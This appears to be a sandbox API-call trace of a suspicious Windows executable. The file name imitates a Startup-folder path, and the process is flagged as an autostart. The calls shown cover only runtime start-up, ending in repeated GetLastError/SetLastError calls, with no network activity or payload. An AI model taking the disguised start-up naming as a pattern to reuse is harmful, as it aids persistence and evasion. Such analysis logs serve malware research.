os_pid = "0x4ec" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e082" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 86 os_tid = 0x4f0 [0262.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x39feb0 | out: lpSystemTimeAsFileTime=0x39feb0*(dwLowDateTime=0x4a6c3760, dwHighDateTime=0x1d52d08)) [0262.350] GetCurrentProcessId () returned 0x4ec [0262.350] GetCurrentThreadId () returned 0x4f0 [0262.350] GetTickCount () returned 0x5aac [0262.350] QueryPerformanceCounter (in: lpPerformanceCount=0x39fea8 | out: lpPerformanceCount=0x39fea8*=6661066961) returned 1 [0262.351] GetStartupInfoW (in: lpStartupInfo=0x39fe54 | out: lpStartupInfo=0x39fe54*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x39feb8, hStdError=0x1178ca4)) [0262.351] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0262.351] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1c0000 [0262.352] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bd0000 [0262.352] GetProcAddress (hModule=0x75bd0000, lpProcName="FlsAlloc") returned 0x75be4f2b [0262.352] GetProcAddress (hModule=0x75bd0000, lpProcName="FlsGetValue") returned 0x75be1252 [0262.352] GetProcAddress (hModule=0x75bd0000, lpProcName="FlsSetValue") returned 0x75be4208 [0262.352] GetProcAddress (hModule=0x75bd0000, lpProcName="FlsFree") returned 0x75be359f [0262.353] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x214) returned 0x1c07d0 [0262.353] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bd0000 [0262.353] GetCurrentThreadId () returned 0x4f0 [0262.353] GetStartupInfoW (in: lpStartupInfo=0x39fdf0 | out: lpStartupInfo=0x39fdf0*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x117726a, hStdOutput=0x11775a3, hStdError=0x1c07d0)) [0262.353] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x800) returned 0x1c09f0 [0262.353] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0262.353] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0262.353] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0262.353] SetHandleCount (uNumber=0x20) returned 0x20 [0262.353] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe\" " [0262.353] GetEnvironmentStringsW () returned 0x7d4898* [0262.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409 [0262.353] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x581) returned 0x1c11f8 [0262.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x1c11f8, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409 [0262.354] FreeEnvironmentStringsW (penv=0x7d4898) returned 1 [0262.354] GetLastError () returned 0x5 [0262.354] SetLastError (dwErrCode=0x5) [0262.354] GetLastError () returned 0x5 [0262.354] SetLastError (dwErrCode=0x5) [0262.354] GetLastError () returned 0x5 [0262.354] SetLastError (dwErrCode=0x5) [0262.354] GetACP () returned 0x4e4 [0262.354] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x220) returned 0x1c1788 [0262.354] GetLastError () returned 0x5 [0262.354] SetLastError (dwErrCode=0x5) [0262.354] IsValidCodePage (CodePage=0x4e4) returned 1 [0262.354] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x39fdb8 | out: lpCPInfo=0x39fdb8) returned 1 [0262.354] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x39f884 | out: lpCPInfo=0x39f884) returned 1 [0262.354] GetLastError () returned 0x5 [0262.354] SetLastError (dwErrCode=0x5) [0262.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39fc98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0262.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39fc98, cbMultiByte=256, lpWideCharStr=0x39f608, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0262.354] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x39f898 | out: lpCharType=0x39f898) returned 1 [0262.354] GetLastError () returned 0x5 [0262.354] SetLastError (dwErrCode=0x5) [0262.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39fc98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0262.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39fc98, cbMultiByte=256, lpWideCharStr=0x39f5c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0262.354] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0262.354] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x39f3b8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0262.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x39fb98, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x14\x34\x94\xc7\xd0\xfd\x39", lpUsedDefaultChar=0x0) returned 256 [0262.355] GetLastError () returned 0x5 [0262.355] SetLastError (dwErrCode=0x5) [0262.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39fc98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0262.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39fc98, cbMultiByte=256, lpWideCharStr=0x39f5e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0262.355] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0262.355] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x39f3d8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0262.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x39fa98, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x14\x34\x94\xc7\xd0\xfd\x39", lpUsedDefaultChar=0x0) returned 256 [0262.355] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x117f728, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x70 [0262.355] GetLastError () returned 0x0 [0262.355] SetLastError (dwErrCode=0x0) [0265.252] GetLastError () returned 0x0 [0265.252] SetLastError (dwErrCode=0x0) [0265.252] GetLastError () returned 0x0 [0265.252] SetLastError (dwErrCode=0x0) [0265.252] GetLastError () returned 0x0 [0265.252] SetLastError (dwErrCode=0x0) [0265.252] GetLastError () returned 0x0 [0265.252] SetLastError (dwErrCode=0x0) [0265.252] GetLastError () returned 0x0 [0265.252] SetLastError (dwErrCode=0x0) [0265.252] GetLastError () returned 0x0 [0265.252] SetLastError (dwErrCode=0x0) [0265.252] GetLastError () returned 0x0 [0265.252] SetLastError (dwErrCode=0x0) [0265.252] GetLastError () returned 0x0 [0265.252] SetLastError (dwErrCode=0x0) [0265.252] GetLastError () returned 0x0 [0265.253] SetLastError (dwErrCode=0x0) [0265.253] GetLastError () returned 0x0 [0265.253] SetLastError (dwErrCode=0x0) [0265.253] GetLastError () returned 0x0 [0265.253] SetLastError (dwErrCode=0x0) [0265.253] GetLastError () returned 0x0 [0265.253] SetLastError (dwErrCode=0x0) [0265.253] GetLastError () returned 0x0 [0265.253] SetLastError (dwErrCode=0x0) [0265.253] GetLastError () returned 0x0 [0265.253] SetLastError (dwErrCode=0x0) [0265.253] GetLastError () returned 0x0 [0265.253] SetLastError (dwErrCode=0x0) [0265.253] GetLastError () returned 0x0 [0265.253] SetLastError (dwErrCode=0x0) [0265.253] GetLastError () returned 0x0 [0265.253] SetLastError (dwErrCode=0x0) [0265.253] GetLastError () returned 0x0 [0265.253] SetLastError (dwErrCode=0x0) [0265.253] GetLastError () returned 0x0 [0265.253] SetLastError (dwErrCode=0x0) [0265.253] GetLastError () returned 0x0 